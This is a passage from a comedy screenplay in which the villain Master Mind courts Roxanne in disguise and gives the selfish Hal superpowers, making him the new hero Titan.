recently. She suddenly begins to feel the stares around her as passers- by being to notice who she's with. ROXANNE I'm sorry - this is so surreal! "JOHN CUSACK" Yeah, they charge way too much at these places - Now back to your boyfriend. I'm interested and compassionate. I want to know about you. 30. ROXANNE Things were complicated. He was a man married to his work. There was...there was a lot of competition in his line of business. I'm sure you know what that's like. "JOHN CUSACK" Sure. In my business, one thing I have is RIVALS. For example, mine is...uh...Lou Ferr...igno. ROXANNE ...The body-builder who used to play The Hulk on TV? "JOHN CUSACK" Did he? Well, we're always up for the same roles. Did your boyfriend have someone like that? A particular rival that was always getting his goat - so to speak? ROXANNE Well...one rival in particular seemed to get more of his attention than I ever did. But enough about my problems. "JOHN CUSACK" NO, TELL ME MORE!!! Suddenly realizing his outburst, he begins COUGHING to mask it. "JOHN CUSACK" (CONT'D) I'm sorry. I got a whooping cough. Had it ever since Serendipity. I WONDER WHERE OUR REFILLS ARE!!! (fakes cough) See, there it goes again. Please, go on. ROXANNE Right, well, he seemed to need him more than he needed me. "JOHN CUSACK" How do you mean? 31. ROXANNE It was conflict he thrived on. He always said he wouldn't know what to do with himself if Master - I mean, this guy were gone. It was like he needed it, like oxygen. The answer to his mental funk hits him like a bolt of lightening. He turns away from her as if for private time. "JOHN CUSACK" (almost to himself) I think I finally understand...The only logical answer is to recreate that rivalry - or if that's impossible, create one of equal structure. That's it! ROXANNE What? John Cusack snaps out of his dream-like haze realizing she's heard every word. "JOHN CUSACK" Oh, sorry, sorry. Just rehearsing for a part...where I play a man who talks to himself at inappropriate times. In a sudden rush, he rises out of his chair. "JOHN CUSACK" I have to go right now, but I'd really like to see you again - if that's alright. Roxanne looks up at him - She can't help but laugh at the craziness of the situation. ROXANNE I'd love that. INT. ABANDONED METRO CITY LIBRARY - DAY Master storms in the office to find Plato and Einstein playing darts with the original Mona Lisa. EINSTEIN Got her nose! MASTER MIND I've got it! 32. Everyone stops what they're doing upon seeing that their master has returned. MASTER MIND I've got it! MASTER MIND It's plain and simple. Extraordinary minds need extraordinary stimulation. Without that stimulus they wither and die. Therefore, there is only one logical conclusion: I must create a new superhero. EINSTEIN Yeah, maybe that's not such hot idea... MASTER MIND (ignoring him) Prepare for Operation Superhero Genesis! INT. ABANDONED METRO CITY LIBRARY - LABORATORY - DAY The lab is slick, white and ultra modern. Dressed in a lab coat, Master Mind enters through a SLIDING GLASS DOOR rubbing his hands excitedly. MASTER MIND Prepare the subject. He glances down into a large HOLE in the floor to see a naked thirty year old man, SEVERS, shivering. Above the hole, a huge vat dangles precariously. Master Mind steps behind a glass partition next to Plato and Einstein. MASTER MIND (CONT'D) Plato, pour the toxic waste. Plato throws a switch causing the vat to tip hundreds of gallons of green and brown goo into the hole. MASTER MIND (CONT'D) Drainage. The slime is sucked out through the floor, leaving a goo- soaked Severs. 33. Master Mind looks into the pit. MASTER MIND (CONT'D) Well, Severs? SEVERS I feel fine. Just a little sticky, but aside from that everything's completely - BOOM - Severs explodes. A hail of blood and tissue covers Master Mind and his men. For a good ten seconds nobody moves an inch. Finally... MASTER MIND Okay then. INT. ABANDONED METRO CITY LIBRARY - LABORATORY - DAY Through a glass WATER TANK we see a man breathing normally. MASTER MIND And this one? PLATO We attached gills to him. He can breath under water. MASTER MIND Ah. Does he have extraordinary strength? PLATO Well...no. MASTER MIND Can he fly? PLATO No. MASTER MIND Resilient to weapons fire? PLATO No. MASTER MIND He just breathes under water, then. PLATO Ah...yeah. 34. Master Mind rolls his eyes and walks away. INT. ABANDONED METRO CITY LIBRARY - LABORATORY - DAY The next guinea-pig, STENWICK, is standing in a sealed glass tube not much wider than himself. MASTER MIND Plato, the radioactive spider, please. Plato throws the switch DROPPING A SINGLE SPIDER onto Stenwick's arm. Stenwick looks and winces as it bites him. STENWICK Ow! He brushes the spider off. MASTER MIND Anything, Stenwick? STENWICK (shaken) No. Ah...sir, I didn't know this was about spiders. I have a pretty severe case of arachnophobia. Master Mind thinks for a moment, then turns to Plato. MASTER MIND We're gonna need more venom. Plato throws another switch, this time DUMPING THOUSANDS OF SPIDERS on poor Stenwick. His SCREAMS begin to fade as he's engulfed with swarms of crawling arachnids. MASTER MIND (CONT'D) How `bout now, Stenwick? ....Stenwick? INT. ABANDONED METRO CITY LIBRARY - OFFICE - DAY Master Mind is pacing back and forth. The muted TV plays in the background. MASTER MIND This has proven to be a challenge. I just don't know what I want. What do I want? 35. He stares at Einstein, Da Vinci and Plato, but they offer no advice. MASTER MIND (CONT'D) I want a man of moral fiber with a strong sense of right and wrong. Someone who doesn't seek power - instead, they must have it thrust upon them and find, within themselves, the courage to rise to the occasion. Einstein lets out a short laugh, getting everyone's attention. EINSTEIN Yeah, well, it sounds like what you want is Uberman. Master Mind snaps the fingers of his non-metal hand. MASTER MIND That's it! Why make a copy when the real thing will do? The lackeys look at each other, they can't believe what they're hearing. EINSTEIN I was just kidding, sir. In case you forgot, you actually burned Uberman alive. MASTER MIND Then we'll make a new one. Plato, bring me the box! MINUTES LATER Master Mind and the lackeys stand in a circle around a small table. Plato places a STAINLESS STEEL CHEST in the tables center. As Master Mind opens it, he's immediately doused in WHITE GLOW emanating from inside. MASTER MIND Behold - Uberessence. The very thing that gave Uberman his superhuman powers. 36. EINSTEIN Where the hell did you get that? MASTER MIND Oh, I shot him with a power sucking gun and had this idea to use this to clone a whole army of evil Ubermen. I'm not sure why I never got around to following up with that. PLATO I believe he defeated you before you could, master. MASTER MIND ...Right. Man, he was good! DA VINCI You want another volunteer, sir? MASTER MIND Not another volunteer driven by the need for personal gain. Somebody else, somebody pure. Master Mind turns to see an INTERVIEW WITH HAL playing on the muted television. Underneath his face is a blue caption with white lettering that reads: "Hal Stewart - Metro City's Newest Hero?" NEWS REPORTER ...who risked his own life to save that of a young mother and her child. HAL Please, please, you're embarrassing me. I saw someone in need and I helped them. What more can we ask of ourselves. I ask you, what more? A smile creeps across the evil one's face. MASTER MIND (CONT'D) Somebody like him! EXT. CITY STREET - DAY Plato is sitting in the van, staring into a pair of binoculars as he speaks on a cellphone. 37. PLATO Yeah, sir. This guy is a real piece of work. He used to teach bowling at Kingpin's. INT. MASTER MIND'S HIDEOUT - DAY Master Mind is sitting with his feet up on a computer console as he speaks to Plato. MASTER MIND (into phone) A modest profession to brilliantly hide his true heroic nature. I love it. EXT. CITY STREET - DAY PLATO Then you are absolutely going to love this - We follow Plato's line of sight across the street where we see HAL PLAYING WITH A LARGE GROUP OF BLIND CHILDREN. PLATO - He volunteers at a school for the blind. INT. MASTER MIND'S HIDEOUT - DAY Intrigued, he suddenly sits up in his chair. MASTER MIND He volunteers. He doesn't ask for any reward for his deeds. The fates are shining down on me. This Mr. Stewart is truly an unselfish soul. EXT. BLIND SCHOOL - DAY From a distance, Hal seems to be consoling an upset child who's sitting on a rock. But up close... HAL You greedy little bastard. I already gave you a twenty. BLIND KID Hey, you want me to play along? Then pay up, bitch! 38. HAL Fine, but you better be convincing. He gives the kid a bill out of his wallet and looks over his shoulder to see a HOT TEACHER walking toward them. HAL Here she comes, go to work. Like a miniature Brando, the blind kid buries his face in his hands and begins to cry. BLIND KID (weeping) Why can't I see! Why God? Hal puts a warm consoling hand on the weeping boy's shoulder. HAL Hey, Peter. C'mon champ, let me look at you. The Hot Teacher stops and curiously watches from a distance. The boy looks up at Hal, tears running down his dark sunglasses - he should get an Oscar. HAL You know, in life we're all given no more than we can bear. This happened to you maybe because you were meant to rise above it - Maybe to be an inspiration to the other little Peteys out there. BLIND KID You really think so, Hal? HAL Hey, does it LOOK like I'm lying? Now c'mon, go feel your way to class before you get your little butt suspended. The boy stands up and is about to take off. HAL Petey, wait a minute. Hal uses his shirt sleeve to wipe the tears away from the boy's face before sending him on his way. 39. The Hot Teacher grabs her chest. Her heart is about to absolutely melt. HAL Don't run into anything! EXT. STREET - CONTINUOUS Plato lowers his binoculars. From his perspective, Hal should be next in line for popehood. PLATO I think I've seen enough, sir. This is your guy. MASTER MIND (O.S.) (over radio) Then return to base. We have much work to do. Plato starts up the van and pulls away. INT. BAR - DAY It's a busy night. A couple of trucker types are shooting pool as the bartender slings drinks. Hal is nursing a beer at the bar when he suddenly notices a very ATTRACTIVE WOMAN sitting next to him. As he goes to straighten his stool-posture, Hal suddenly catches himself on the bar's TELEVISION - it's a story about how he saved the woman and her baby at the construction site. He turns back to the Attractive Woman next to him, then back to the TV. A plan of attack is forming. HAL (obviously playing it up for the woman's benefit) Oh, there it is again. This is really getting embarrassing now. The woman looks up at the screen and gives Hal a double-take. ATTRACTIVE WOMAN Oh my God! It's you! You're the man who saved that woman and her baby the other day! It is you, isn't it? TRUCKER #1, getting a drink at the bar next to them, OVERHEARS. 40. Hal rolls his eyes and puts his hands up in the air. HAL (to Attractive Woman) Oh, crap. You got me. TRUCKER#1 taps Hal on the shoulder. TRUCKER#1 Let me tell you something. That was just about the bravest damn thing I've ever witnessed. (he turns to the rest of the bar) Hey, everybody! This guy's the hero from TV! The bar ERUPTS IN CHEERS. MOMENTS LATER Hal is riding on the shoulders of TRUCKER#2 and TRUCKER#3 as `I'm Holding Out For A Hero' plays on the jukebox. TRUCKER#1 suddenly puts his hands in the air. The room quickly goes silent. TRUCKER#1 I want to give you something. He reaches into his pocket and takes out a medal. He holds it up in the air for everyone to see. TRUCKER#1 (CONT'D) Lost my whole platoon. They were a lot a good boys, a lot of good boys. That was just the way things were in "The Grenada." I'd rather a real hero have this. Trucker#1 gives the medal to a speechless Hal. ATTRACTIVE WOMAN Hey, you're on TV again. The crowd looks up at the Television. TELEVISION - CONTINUOUS The anchor man, BRAD HELMS (early 40's, amazing mustache), suddenly has a memo passed to him. 41. BRAD HELMS This just in. Upon a second look at that tape from this morning, which we'll now replay for you, it appears it was not the heroic act it first seemed to be. The tape shows Hal running in slow motion. BRAD HELMS (O.S.) (CONT'D) With the tape slowed down you can actually see the man push the woman and her child out of the way in an effort to save his own life. The tape shows Hal, in a clear act of self-preservation, pushing the woman and child out of the way. CUT BACK TO: INT. BAR - CONTINUOUS In unison, everyone turns their heads back to Hal. HAL I guess that looks kinda bad. Trucker#1 snatches his medal back. EXT. NEARBY ROOF - NIGHT Master Mind, Da Vinci and Plato look down, spotting Hal cutting through a dark alley. DA VINCI There he is, boss. Da Vinci hands Master Mind a fantastic looking silver rifle. MASTER MIND Now, we're sure this won't kill him? PLATO Yes, sir. He'll just feel a slight electrical shock. MASTER MIND Good. Master Mind raises the rifle and aims it at Hal. 42. EXT. ALLEY - NIGHT Hal wipes the blood from his nose with his shirtsleeve. A LIGHTENING BOLT suddenly zaps Hal in the back. His teeth spark and arc electrons as his entire body shakes and shudders violently. He finally collapses, knocking over a row of garbage cans. EXT. NEARBY ROOF - NIGHT An angry Master Mind slaps Plato. MASTER MIND Slight electrical shock? EXT. ALLEY - NIGHT Hal lies flat on his back, his jacket smoldering. Dazed, he slowly rises to his feet and looks up at the sky. HAL God, I hate the weather in this city. Hal walks off into the night as he attempts to slap the emitting smoke from his jacket. EXT. NEARBY ROOF - NIGHT Master Mind turns to Da Vinci. MASTER MIND Follow him. INT. HAL'S APARTMENT - NIGHT It's a dirty, small studio. Laundry lies everywhere, dishes are piled in the sink and the litter box looks like a minefield. Hal comes staggering in. Through his POV we see the lights wobble and streak like a hallucination. He shakes his head trying to clear thing up, but it looks worse. Hal makes his way to the kitchen table and plops down on a chair. The room begins to swim. His CAT jumps on the table and sits down in front of him. 43. From Hal's POV the cat's face looks like we're seeing it through a kaleidoscope. Hal seems fascinated by it. CAT You don't look so good, man. HAL I don't feel good. I was struck by freaking lightening. Suddenly Hal realizes his cat's talking to him. HAL (CONT'D) AAAAAAHHHHH! You can talk? CAT No, you're just hallucinating. By the way, we're out of orange juice. HAL AAAAAAHHHHH! Hal jumps up, trips over a cardboard box and knocks himself out on the coffee table. INT. HAL'S APARTMENT - MORNING Hal lies in the same position we left him last night. He sits up and grabs his head. He looks like he has the worst hangover in the world. Finally, he remembers last night. He looks around, but not really sure what he's looking for. HAL Man... Shaking his head, he walks to the kitchen and opens the refrigerator. He pulls out an orange juice container and puts it to his mouth. It's empty. As if suddenly remembering something he looks from the carton to the cat, who is busy cleaning himself. He shakes the thought from his mind. BATHROOM Hal lifts the seat and unbuckles his pants. 44. HAL'S FACE He stares at the ceiling with half closed eyes. The inevitable sound of urine hitting water starts. A content look washes over his face. There is a distinct sound of porcelain CRACKING and SPLINTERING. The sound intensifies. Hal looks down to see his URINE STREAM SMASHING THE TOILET. HAL (CONT'D) Oh, God! He whips his stream away only to cut a LONG RIP IN THE WALL. HAL (CONT'D) Oh, God! He freaks out and begins to lose control of his flow as it destroys everything he accidently aims at; the bathroom mirror, a bottle of cheap cologne, the bathroom window. HAL (CONT'D) Oh, God! He aims back for the toilet, which is pretty much rubble now, to see the floor give way. Finally, the pee stops and he glances down the hole. He sees his downstairs NEIGHBOR sitting at his breakfast table. He has a fork halfway to his mouth as he stares at the smashed toilet on his pancakes. EXT. STREET - DAY Hal turns the corner to see his bus pulling away from the stop. HAL Wait! He starts running after it. ZOOM - HE TAKES OFF LIKE LIGHTENING. HAL (CONT'D) Whoa, whoa, whoa! Unable to stop, he SLAMS INTO THE BACK OF THE BUS and falls back to the ground. 45. As the bus continues on he sees an INDENTATION of his torso right below the rear window. Stunned, to say the least, he rises to his feet. HAL (CONT'D) Something's not right here. He slaps himself in the face as hard as he can. HAL (CONT'D) Wake up! Wake up, Hal! HONK! Hal spins around to see a car barreling toward him. He goes to jump out of the way - ZOOM - he FLIES TWO STORIES UP, nails a building and comes crashing back down to the sidewalk. Hal sits up, disheveled and scared. HAL (CONT'D) Okay, okay. Let's get it together, man. He closes his eyes in an attempt to will back his sanity. HAL (CONT'D) This is just some sort of...episode. It will pass, it will pass. He opens his eyes and looks down the street. A BEAUTIFUL NAKED WOMAN is coming toward him. HAL (CONT'D) Well, not too fast I hope. As she passes him and turns the corner out of his view he catches ANOTHER NAKED WOMAN - an old disgusting one. HAL (CONT'D) Yes, fast, fast! He turns away from her in horror only to see AN ENTIRE BLOCK OF NAKED PEOPLE going about their business. He rubs his eyes and looks down the street again. Everyone has returned to a clothed state. 46. He relaxes a little until he looks down and notices that he's floating a foot off the ground. HAL (CONT'D) I think I need to go home. INT. HAL'S APARTMENT - DAY Hal's front door CREAKS as it slowly opens, revealing Master Mind. He walks over to the bathroom and smiles to himself as he notices the giant hole in the floor. MASTER MIND Welcome to your second birth, Hal Stewart. Master Mind continues to survey the room. He stops to look over a "KARATE KID" POSTER on Hal's living room wall. He focuses on the majestic image of Pat Morita teaching a young Ralph Macchio to kick. MASTER MIND (CONT'D) Instruction is very important in the formative years. Every hero needs a mentor, a father figure to look up to. He presses his special watch, causing his body to MORPH INTO THE SPITTING-IMAGE OF PAT MORITA. "PAT MORITA" Perfect. INT. HAL'S APARTMENT - DAY Hal enters, grabs a bottle of vodka from atop of the fridge and takes a long pull from it. VOICE (O.S.) A man will usually find that if he drinks from a bottle, eventually, the bottle drinks from him. Hal does a SPIT TAKE. In the corner a darkened figure stands. HAL Who are you!? 47. VOICE I am the guide on your journey. Fate has chosen you to be it's champion. Pat Morita steps out from the shadows. Hal passes out again. LATER We are close on Hal's face as his eyes flutter open. He appears to be lying on the couch. He hunches up on his elbows, looks around, but everything is as it seems. He lays his head back down. HAL Thank God. It was a dream. Man, I must be losing it. A voice sounds right next to his ear. "PAT MORITA" (O.S.) You know you're out of orange juice? Hal leaps up to find he's been resting his head on Pat's lap. HAL Jesus! This isn't happening, this isn't happening. Hal backs away and trips over a box. "PAT MORITA" Calm. All things must be filtered through calmness. HAL Bullshit! Sometimes it's best to freak out. "PAT MORITA" I think we must work on your attitude first. HAL Look I'm gonna call the cops in about two seconds if you don't get out of here. 48. Pat rises and walks to Hal. He's so calm it makes Hal calm. "PAT MORITA" Are you calm now? HAL Yeah, I'm okay. Pat slaps him across the face hard. "PAT MORITA" Good, because we've got a lot of work to do. Hal grabs his jaw. HAL What the hell was that for? "PAT MORITA" Rule number one: expect the unexpected. HAL Can you just tell me what this is all about? "PAT MORITA" The heavens are not in the habit of bestowing a gift such as this to just anyone. You are being rewarded for being a man of great moral fortitude with an unwavering belief in humanity. HAL That's me alright. "PAT MORITA" I am to train you so you may fulfill your destiny to defeat the great menace to Metro City: Master Mind. Pat gets up and walks toward the door. "PAT MORITA" (CONT'D) Come. HAL We're are we going? 49. "PAT MORITA" To train. EXT. PAT'S CAR - DAY Pat is sitting in the driver's seat. The car is bumping up and down. "PAT MORITA" Strength is just as much in the mind as it is the muscle. Remember, both need to be exercised. We PULL BACK to see Hal lifting the car up over his head. He's hardly straining. HAL I'M LIFTING A FREAKING CAR!!! Pat leans on the HORN. "PAT MORITA" Hey, Corky? You listening? Two highly attractive female joggers run by. They're clearly impressed with Hal's show of strength. He smiles and mouths a "hello." HAL Yeah, work both muscles. EXT. DESERT - DAY Pat cocks back the chamber of a .357 MAGNUM. He holds it up and carefully takes aim...at Hal's chest. "PAT MORITA" Trust me. HAL What are you doing!? "PAT MORITA" An invulnerability test. Something wrong? HAL Uh...yeah. I would prefer not to get shot. Do not fire that thing! Frustrated, Pat lowers the gun. 50. "PAT MORITA" You're bulletproof. HAL Okay, do you know that for sure? Pat quickly aims and fires. Hal lets out a high pitched scream as the bullet ricochets off his chest. "PAT MORITA" I do now. Hal looks down at his chest, not so much as a scratch. HAL You suck. EXT. SKY - DAY Hal is in the air flying in a sitting position. He's weaving back and forth. HAL Ice Man, I got a bogie on my tail. Two Russian Migs coming in hard and fast. "PAT MORITA" Hey! HAL What? Hal looks down to see Pat Morita yelling at him from the roof of a building down below. "PAT MORITA" What did I tell you? Stomach down, hands up. Hal sighs and assumes the proper superhero in-flight position. HAL God, I feel so gay. Pat's CELL PHONE begins to RING. He answers it. "PAT MORITA" (in Master Mind voice) What is it? 51. ROXANNE (V.O.) John? Pat panics. He looks up to make sure no one is in earshot. He sees Hal now doing somersaults in the air. HAL YEEEE HAWWWW! Pat turns his attention back to the phone, talking in his John Cusack voice. "PAT MORITA" (in Cusack voice) Yes, it's John Cusack. ROXANNE (V.O.) Hi, it's Roxanne. Listen, I...I really enjoyed talking with you the other day. "PAT MORITA" ...As did I. ROXANNE (V.O.) Great. God, I feel really silly, and if you have a lot going on I totally understand. But, I was wondering if you maybe wanted to have lunch. He can't believe what he's hearing. "PAT MORITA" (excited) I'd love to! He quickly recovers his composure. "PAT MORITA" (CONT'D) I mean, I AM a little hungry. ROXANNE (V.O.) Great. How does the park sound, around noon-ish? "PAT MORITA" Sure! ROXANNE (V.O.) Great, see you then. 52. Pat hangs up the phone and returns it to his pocket as Hal lands behind him. HAL WHOOOOA! Man, that is so cool. It's like fly - Oh my God, I almost said it was like flying. "PAT MORITA" For the rest of the day I want you to continue to practice your flying posture. HAL Why, where're ya going? "PAT MORITA" ...To do something...mysterious ...and Asian. HAL Say no more, bro. I'll just keep at it, then. EXT. PARK - DAY John Cusack and Roxanne eat WRAPPED SANDWICHES while walking through Metro City Park. ROXANNE How's your sandwich? "JOHN CUSACK" It's quite delicious. ROXANNE Hope you don't think I'm too forward. Some men are intimidated when a woman asks them out. I just find you really easy to talk to. "JOHN CUSACK" And I you. ROXANNE You know, you're not at all like you are in the movies. "JOHN CUSACK" I'm not? 53. ROXANNE Yeah. I don't know - You have this strange, refined way of speaking. "JOHN CUSACK" I do? That is most interesting. ROXANNE Anyway, when we were talking the other day I just felt, even though we only talked for a couple of hours, that we've known each other for years. "JOHN CUSACK" I know just what you mean. Roxanne bites into her sandwich. ROXANNE You know what? This sandwich is disgusting. She tosses it in a nearby garbage can. ROXANNE (CONT'D) Of course I already ate half of it. I wonder what that says about my character? "JOHN CUSACK" It means you don't give up on a sandwich. You see that it has potential, and you give it every chance to be all it can be. Roxanne smiles at his analogy. ROXANNE Thanks, but knowing me, I was probably projecting my expectations of what a lunch should be on the sandwich. It might have been okay at first, but I just made it bitter. John Cusack notices Roxanne's smile starting to fade. "JOHN CUSACK" Is that what happened with your last sandwich - I mean, boyfriend? 54. ROXANNE When I look back, I probably shouldn't of expected so much from him. He was already a giving person. You know, one of those go out and save the world types. "JOHN CUSACK" I've run into a few. ROXANNE I was selfish, I guess. I didn't want to share him with anybody else. "JOHN CUSACK" It sounds like he was a special man. ROXANNE They broke the mold. John Cusack arches his eyebrow in a very familiar manner. "JOHN CUSACK" Perhaps not. INT. ABANDONED WAREHOUSE - DAY Hal walks up to Pat Morita sporting a Lone Ranger-type mask and wearing a purple and red superhero costume. It's not unlike Uberman's except for a giant "T" on his chest. (From here on, Hal is referred to as TITAN) TITAN What's the "T" stand for? "PAT MORITA" Titan. TITAN What's that supposed to mean? "PAT MORITA" It's from Roman mythology. Zeus's father...oh, just go with it. You look perfect. TITAN I don't think this mask is big enough. Are you sure no one is gonna recognize me? 55. "PAT MORITA" It's fine, just don't slouch. It's all in the posture. He grabs Titan's shoulders like a proud papa. "PAT MORITA" (CONT'D) It is time. INT. BANK - DAY There is a long line of people snaked around the velvet ropes. They're all waiting for their chance at the one open teller window. Four men wearing BEATLES MASKS(JOHN,PAUL,GEORGE,AND RINGO)and CARRYING SHOTGUNS enter the bank. John fires a shot in the air, sending everyone into an immediate panic. JOHN Alright folks, this is a robbery. Nobody moves - yadda, yadda, yadda... Ringo jumps over the teller wall and starts stuffing bills into a bag. As John and Paul cover the crowd, George goes to the corner office and puts a gun to the BANK MANAGER'S head. GEORGE The safe. Let's go. BANK MANAGER Okay, just don't hurt anyone. GEORGE Yeah, yeah, yeah. George leads him out by the collar. CRASH - Titan smashes through the window and lands in a bold superhero stance with hands on hips. TITAN Well, boys, there's no need for all this just to get the free toaster. Paul cocks his gun. 56. PAUL What are you suppose to be? We move in for a nice dramatic close up. TITAN Justice. GEORGE Well, justice, suck on this... George, John and Paul open fire on Titan. He just stands there and yawns as the bullets bounce off him. With their guns empty the three just stare at him in amazement. TITAN Now it's my turn. He turns to George. TITAN (CONT'D) Hey, George, here comes the sun. Titan grabs George and throws him into a fluorescent light fixture in the ceiling. Paul tries to run for the door. Titan snatches the collar of his jacket. TITAN (CONT'D) Say, Paul, your mother should know...that you're a scumbag. He tosses Paul out the window and into a parked DELIVERY TRUCK. Titan turns around just as John hits him with the butt of his shotgun. It instantly breaks apart in his hands. Titan lifts him like a rag doll up into the air. TITAN (CONT'D) John, all you need is love... He throws John who lands on top of a cubical wall - GROIN FIRST. TITAN (CONT'D) ...and a good urologist. 57. Titan effortlessly hops over the teller wall to find Ringo cowering on the floor. He grabs him by the shirt and lifts him up. HAL Well, Ringo...um...um...you're under arrest. EXT. BANK - DAY Titan walks out of the bank with Ringo and George under his arm. He's suddenly swarmed by a group of television reporters, including Roxanne. Across the street is Pat Morita. He watches Titan's first news conference with great anxiety. BANK MANAGER (to Hal) On behalf of the First National Bank of Metro City, I'd like to offer you a reward for your act of bravery. He hands Titan a check. TITAN (reading) Ten thousand dollars! Titan looks over to Pat, who violently shakes his head no. TITAN (CONT'D) (unenthusiastically) I...can't except this. Law and order is it's own...um...reward. Pat gives him the thumbs up. Pat turns, suddenly seeing Roxanne with her camera crew. Captivated, his eyes lock on her. Meanwhile, Roxanne and her cameraman, SETH, are maneuvering around the crowd to get closer to Titan. BRAD HELMS (O.S.) Not so fast, Roxanne. They both turn to see Roxanne's reporter rival Brad Helms, Geraldo without the class, and his cameraman, FRANK. BRAD HELMS This story's mine. 58. ROXANNE Listen, Brad. We were just in the area. I was just trying to - BRAD HELMS I've been in this business long enough to know pretty well what you were "just trying to do." Besides, I heard you couldn't take the big game anymore and were put on fluff detail? Dejected, Roxanne turns and motions for Seth to turn the camera off. SETH You're not gonna take that from him, are you? ROXANNE He's right. Old habit, I guess. (to Brad) We'll get out of your way. As they walk off, Brad makes a comment to Frank loud enough for her to hear. BRAD HELMS Besides, I'm sure there's a pancake supper somewhere that needs covering. INT. ABANDONED METRO CITY LIBRARY - OFFICE - DAY ON TELEVISION We see the news conference on the bank's steps. In the corner of the screen is written: "recorded earlier." BRAD HELMS For months now, since the death of Uberman, the citizens of Metro City have been holding out for a hero. Well, it appears they won't have to hold out for much longer as a new costumed crusader has suddenly stormed onto the scene. Today, at the Metro Savings and Trust, a masked mystery man single-handedly defeated "The Fab Four Gang." Just who is this new caped avenger? Brad holds the microphone to Titan's face. 59. BRAD HELMS I'm sure all of our viewers are now wondering, what's the "T" stand for? TITAN It's a message to all the scum out there. Uberman may be gone, but Metro City has a new protector, and his name is "Tighten!" Another reporter leans in. REPORTER How do you spell that? We PULL BACK to see Plato and Da Vinci watching this spectacle. Master Mind is sitting with them, reading a NEWSPAPER. MASTER MIND (reading paper) Oh, for heaven's sake. I can't believe it. He misspelled his name. Master Mind holds up the newspaper. The headline reads "Metro's New Hero: Tighten." MASTER MIND (CONT'D) No matter, I suppose. Master Mind throws the paper on the floor and begins to pace around the room with his arms folded behind his back. MASTER MIND (CONT'D) We've now fully established Titan as Metro City's hero. They will love him just as they loved Uberman. Everything is going according to plan. Einstein leans over and whispers in Plato's ear. EINSTEIN (whispering) Yeah, if the plan is getting us in jail. Master Mind turns around, facing Einstein. He walks over, standing face to face with the rebellious henchmen. 60. MASTER MIND You know, Einstein, maybe I should have called you Socrates. He also didn't know when to keep his thoughts to himself. EINSTEIN I just fail to see the point in all of this. I mean, why are we creating another superhero when it was such a pain in the ass for you to get rid of the other one? I mean, Uberman is destroyed, we should be using this opportunity to...to... MASTER MIND To what? EINSTEIN I don't know. To take over the weather, space, the world - whatever super villains are SUPPOSED to do. MASTER MIND The reason someone like you will always be a minion is because you have no foresight. We take over the earth, like you said. Then what? Women? Cars? Money? Even the grandest treasures will lose their lustre if you don't have someone to hold them over. Einstein throws up his hands. He's had enough. He pulls off his wig and throws it to the floor. EINSTEIN That's it! This balance of the force bullshit is getting way too Oprah for me. I'm blowing. Who's with me? MASTER MIND You dare? EINSTEIN Yeah, I dare. I'm sick of wearing stupid costumes, and I'm sick of working for a super villain who's turning into a softie. 61. Plato and Da Vinci's mouths drop to the floor. They turn to Master Mind for his rebuttal. MASTER MIND What - did - you - call me? EINSTEIN You heard me. You used to be an inhuman monster, now look at you. You're creating super heroes, you don't go with us on robberies anymore, it's been days since you threatened anyone, oh, and not to mention this Roxanne Ritchi thing. MASTER MIND THAT is none of your business, knave! EINSTEIN Hey, you guys haven't sealed the deal yet, have you? MASTER MIND Silence! EINSTEIN (In a woman's voice) Oh, Master, your head is so big. MASTER MIND I'm warning you, Einstein. EINSTEIN (In a woman's voice) Take me! MASTER MIND I said silence! With his metal gauntlet Master Mind grabs Einstein by the throat and lifts him into the air. Einstein looks frightened as he tries to pry himself free of Master Mind's grip. Master Mind's eyes soften as if his heart is suddenly not into what he's about to do. He let's Einstein drop to the floor. MASTER MIND (CONT'D) Get out of my sight. 62. EXT. RESTAURANT - NIGHT Roxanne and John Cusack are eating on the outside patio of a fancy restaurant. ROXANNE Don't get me wrong, I love being a reporter. I don't think I could do anything else. It's the consequences of what we do that I'm having a problem with. He listens intently as he refills her glass with wine. "JOHN CUSACK" That's where journalistic responsibility comes in, no? ROXANNE It's supposed to. "JOHN CUSACK" Sounds to me like you're running from something. ROXANNE I got someone I cared about killed. If it wasn't for me, he wouldn't have been involved. John suddenly gets a disturbed look in his eye, realizing what she's talking about. He reaches across the table and takes her hand. "JOHN CUSACK" You can't blame yourself. My father used to say each of us must answer the great call to truly feel alive. ROXANNE Was he an actor? "JOHN CUSACK" ...No. He was...a landscaper. And a horrible one. I mean he would fail time and time again at his...landscaping. And sometimes he'd get pretty beaten up or thrown in jail - ROXANNE Jail? 63. "JOHN CUSACK" My point is he took the good with the bad. He grew a little each time. Improved, learned. ROXANNE Was he ever successful? "JOHN CUSACK" God, no...but don't let deter you. Roxanne LAUGHS. ROXANNE Thanks for this. You know, this is embarrassing, but it's been a long time since I - It's starting to lightly sprinkle. Roxanne looks up. ROXANNE (CONT'D) I think it's starting to rain. We might want to find a table inside. "JOHN CUSACK" What were you gonna say? ROXANNE Oh, I was gonna say...It's been a long time since...well, I've been with someone I...enjoy being with. John Cusack smiles warmly and raises his glass for a toast. "JOHN CUSACK" To people who enjoy being with each other. They go to clang glasses, when the rain suddenly causes John Cusack's disguise generator to short. His true form of Master Mind is briefly revealed to Roxanne as a BOLT OF ELECTRICITY encircles his body. Roxanne drops her glass and jumps out of her seat. MASTER MIND (CONT'D) Oh, no. Don't look at me. LIKE A BROKEN TV the image keeps switching between MASTER MIND AND JOHN CUSACK. 64. As Master Mind starts to franticly slap at his watch, the Cusack disguise begins to hold steady. He nonchalantly returns to cutting his steak. "JOHN CUSACK" Okay, never mind that. Now, where were we? Roxanne grabs his glass and throws the drink in his face, causing the generator to short out permanently. Master Mind now sits in his true blue form. ROXANNE Oh my God. MASTER MIND You're not gonna get all freaky about this, are you? ROXANNE This...this is too much, even for you. God, I go out with you, tell you my innermost thoughts. MASTER MIND I only did this because I wanted to talk to you on the same level. You know, without all the baggage? ROXANNE Baggage? You burned my boyfriend alive, you sick son-of-a-bitch! MASTER MIND You see, that's exactly what I'm talking about. Roxanne starts to walk away. MASTER MIND (CONT'D) Roxanne! ROXANNE Stay away from me. Master Mind sinks back down to his chair. Despite the now heavy rain bombarding him, he returns to his food. Several resturaunt patron's are looking at him through the window. 65. Our villain turns to them, giving them a villainous glare. MASTER MIND What? INT. MASTER MIND'S BEDROOM - NIGHT Master Mind is lying on his back, wide awake. MASTER MIND (mumbling to himself) Stupid. What was I thinking? Plato, it's his fault. He's the one who sent me on this weak-willed path. I'll filet his scrotum for this. Me, a creature of evil, in love with Roxanne Ritchi. Preposterous. I hardly give such matters thought He rolls onto his side. He yawns and closes his eyes. Suddenly, they shoot back open. CUT TO: EXT. ROXANNE'S APARTMENT - NIGHT Master Mind pulls up in a blue Rolls Royce, across the street from 